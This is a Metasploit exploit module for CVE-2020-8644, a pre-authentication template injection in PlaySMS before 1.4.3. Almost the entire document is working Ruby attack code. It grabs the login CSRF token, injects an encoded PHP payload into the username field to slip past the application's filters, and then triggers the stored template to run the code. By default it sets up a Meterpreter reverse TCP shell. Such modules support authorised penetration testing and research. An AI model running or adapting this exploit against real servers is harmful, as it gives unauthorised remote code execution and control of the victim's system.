PlaySMS index.php Unauthenticated Template Injection Code Execution

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'PlaySMS index.php Unauthenticated Template Injection Code Execution',  
'Description' => %q{  
This module exploits a preauth Server-Side Template Injection vulnerability that leads to remote code execution  
in PlaySMS before version 1.4.3. This issue is caused by double processing a server-side template with a custom  
PHP template system called 'TPL' which is used in the PlaySMS template engine at  
`src/Playsms/Tpl.php:_compile()`. The vulnerability is triggered when an attacker supplied username with a  
malicious payload is submitted. This malicious payload is then stored in a TPL template which when rendered a  
second time, results in code execution.  
The TPL(https://github.com/antonraharja/tpl) template language is vulnerable to PHP code injection.  
  
This module was tested against PlaySMS 1.4 on HackTheBox's Forlic Machine.  
},  
'Author' =>  
[  
'Touhid M.Shaikh <touhidshaikh22[at]gmail.com>', # Metasploit Module  
'Lucas Rosevear' # Found and Initial PoC by NCC Group  
],  
'License' => MSF_LICENSE,  
'References' =>  
[  
['CVE', '2020-8644'],  
['URL', 'https://www.youtube.com/watch?v=zu-bwoAtTrc'],  
['URL', 'https://research.nccgroup.com/2020/02/11/technical-advisory-playsms-pre-authentication-remote-code-execution-cve-2020-8644/']  
],  
'DefaultOptions' =>  
{  
'SSL' => false,  
'PAYLOAD' => 'php/meterpreter/reverse_tcp',  
'ENCODER' => 'php/base64'  
},  
'Privileged' => false,  
'Platform' => ['php'],  
'Arch' => ARCH_PHP,  
'Targets' =>  
[  
[ 'PlaySMS Before 1.4.3', {} ],  
],  
'DefaultTarget' => 0,  
'DisclosureDate' => '2020-02-05'  
)  
)  
  
register_options(  
[  
OptString.new('TARGETURI', [ true, 'Base playsms directory path', '/']),  
]  
)  
end  
  
def uri  
return target_uri.path  
end  
  
def check  
begin  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(uri, 'index.php')  
})  
rescue StandardError  
vprint_error('Unable to access the index.php file')  
return CheckCode::Unknown  
end  
  
if res.code == 302 && res.headers['Location'].include?('index.php?app=main&inc=core_auth&route=login')  
return Exploit::CheckCode::Appears  
end  
  
return CheckCode::Safe  
end  
  
# Send Payload in Login Request  
def login  
res = send_request_cgi({  
'uri' => normalize_uri(uri, 'index.php'),  
'method' => 'GET',  
'vars_get' => {  
'app' => 'main',  
'inc' => 'core_auth',  
'route' => 'login'  
}  
})  
  
# Grabbing CSRF token from body  
/name="X-CSRF-Token" value="(?<csrf>[a-z0-9"]+)">/ =~ res.body  
fail_with(Failure::UnexpectedReply, "#{peer} - Could not determine the CSRF token") if csrf.nil?  
vprint_good("X-CSRF-Token for login : #{csrf}")  
  
cookies = res.get_cookies  
  
vprint_status('Trying to send the payload in the username field...')  
  
# Encoded in base64 to avoid HTML TAGS which are filter by the Application which is also blocking semicolon(;), that is why we're using delete_suffix(';')  
evil = "{{#{payload.encoded.delete_suffix(';')}}}"  
  
# Send Payload with cookies.  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(uri, 'index.php'),  
'cookie' => cookies,  
'vars_get' => Hash[{  
'app' => 'main',  
'inc' => 'core_auth',  
'route' => 'login',  
'op' => 'login'  
}.to_a.shuffle],  
'vars_post' => Hash[{  
'X-CSRF-Token' => csrf,  
'username' => evil,  
'password' => ''  
}.to_a.shuffle]  
})  
  
fail_with(Failure::UnexpectedReply, "#{peer} - Did not respond to Login request") if res.nil?  
  
# Request Status Check  
if res.code == 302  
print_good('Payload successfully sent')  
return cookies  
else  
fail_with(Failure::UnexpectedReply, "#{peer} - Something went wrong")  
end  
end  
  
def exploit  
cookies = login  
vprint_status("Cookies here : #{cookies}")  
# Execute Last Sent Username.  
send_request_cgi({  
'uri' => normalize_uri(uri, 'index.php'),  
'method' => 'GET',  
'cookie' => cookies,  
'vars_get' => {  
'app' => 'main',  
'inc' => 'core_auth',  
'route' => 'login'  
}  
}, 0)  
end  
end  
`